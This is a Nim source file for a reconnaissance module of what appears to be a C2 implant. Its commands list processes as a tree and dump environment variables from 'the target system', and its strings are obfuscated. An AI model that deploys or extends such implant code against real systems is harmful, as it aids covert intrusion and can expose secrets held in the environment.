139 lines
5.0 KiB
Nim
139 lines
5.0 KiB
Nim
import ../common/[types, utils]
|
|
|
|
# Declare function prototypes
|
|
proc executePs(ctx: AgentCtx, task: Task): TaskResult
|
|
proc executeEnv(ctx: AgentCtx, task: Task): TaskResult
|
|
|
|
# Module definition
|
|
let module* = Module(
|
|
name: protect("systeminfo"),
|
|
description: protect("Retrieve information about the target system and environment."),
|
|
moduleType: MODULE_SITUATIONAL_AWARENESS,
|
|
commands: @[
|
|
Command(
|
|
name: protect("ps"),
|
|
commandType: CMD_PS,
|
|
description: protect("Display running processes."),
|
|
example: protect("ps"),
|
|
arguments: @[],
|
|
execute: executePs
|
|
),
|
|
Command(
|
|
name: protect("env"),
|
|
commandType: CMD_ENV,
|
|
description: protect("Display environment variables."),
|
|
example: protect("env"),
|
|
arguments: @[],
|
|
execute: executeEnv
|
|
)
|
|
]
|
|
)
|
|
|
|
# Implement execution functions
|
|
when not defined(agent):
|
|
proc executePs(ctx: AgentCtx, task: Task): TaskResult = nil
|
|
proc executeEnv(ctx: AgentCtx, task: Task): TaskResult = nil
|
|
|
|
when defined(agent):
|
|
|
|
import winim
|
|
import os, strutils, sequtils, strformat, tables, algorithm
|
|
import ../agent/core/io
|
|
import ../agent/protocol/result
|
|
import ../common/utils
|
|
|
|
# TODO: Add user context to process information
|
|
type
|
|
ProcessInfo = object
|
|
pid: DWORD
|
|
ppid: DWORD
|
|
name: string
|
|
children: seq[DWORD]
|
|
|
|
proc executePs(ctx: AgentCtx, task: Task): TaskResult =
|
|
|
|
print protect(" [>] Listing running processes.")
|
|
|
|
try:
|
|
var processes: seq[DWORD] = @[]
|
|
var procMap = initTable[DWORD, ProcessInfo]()
|
|
var output: string = ""
|
|
|
|
# Take a snapshot of running processes
|
|
let hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
|
|
if hSnapshot == INVALID_HANDLE_VALUE:
|
|
raise newException(CatchableError, protect("Invalid permissions."))
|
|
|
|
# Close handle after object is no longer used
|
|
defer: CloseHandle(hSnapshot)
|
|
|
|
var pe32: PROCESSENTRY32
|
|
pe32.dwSize = DWORD(sizeof(PROCESSENTRY32))
|
|
|
|
# Loop over processes to fill the map
|
|
if Process32First(hSnapshot, addr pe32) == FALSE:
|
|
raise newException(CatchableError, protect("Failed to get processes."))
|
|
|
|
while true:
|
|
var procInfo = ProcessInfo(
|
|
pid: pe32.th32ProcessID,
|
|
ppid: pe32.th32ParentProcessID,
|
|
name: $cast[WideCString](addr pe32.szExeFile[0]),
|
|
children: @[]
|
|
)
|
|
|
|
procMap[pe32.th32ProcessID] = procInfo
|
|
|
|
if Process32Next(hSnapshot, addr pe32) == FALSE:
|
|
break
|
|
|
|
# Build child-parent relationship
|
|
for pid, procInfo in procMap.mpairs():
|
|
if procMap.contains(procInfo.ppid):
|
|
procMap[procInfo.ppid].children.add(pid)
|
|
else:
|
|
processes.add(pid)
|
|
|
|
# Add header row
|
|
let headers = @[protect("PID"), protect("PPID"), protect("Process")]
|
|
output &= fmt"{headers[0]:<10}{headers[1]:<10}{headers[2]:<25}" & "\n"
|
|
output &= "-".repeat(len(headers[0])).alignLeft(10) & "-".repeat(len(headers[1])).alignLeft(10) & "-".repeat(len(headers[2])).alignLeft(25) & "\n"
|
|
|
|
# Format and print process
|
|
proc printProcess(pid: DWORD, indentSpaces: int = 0) =
|
|
if not procMap.contains(pid):
|
|
return
|
|
|
|
var process = procMap[pid]
|
|
let indent = " ".repeat(indentSpaces)
|
|
|
|
output &= fmt"{process.pid:<10}{process.ppid:<10}{indent}{process.name:<25}" & "\n"
|
|
|
|
# Recursively print child processes with indentation
|
|
process.children.sort()
|
|
for childPid in process.children:
|
|
printProcess(childPid, indentSpaces + 2)
|
|
|
|
# Iterate over root processes
|
|
processes.sort()
|
|
for pid in processes:
|
|
printProcess(pid)
|
|
|
|
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(output))
|
|
|
|
except CatchableError as err:
|
|
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
|
|
|
proc executeEnv(ctx: AgentCtx, task: Task): TaskResult =
|
|
|
|
print protect(" [>] Displaying environment variables.")
|
|
|
|
try:
|
|
var output: string = ""
|
|
for key, value in envPairs():
|
|
output &= fmt"{key}: {value}" & '\n'
|
|
|
|
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(output))
|
|
|
|
except CatchableError as err:
|
|
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg)) |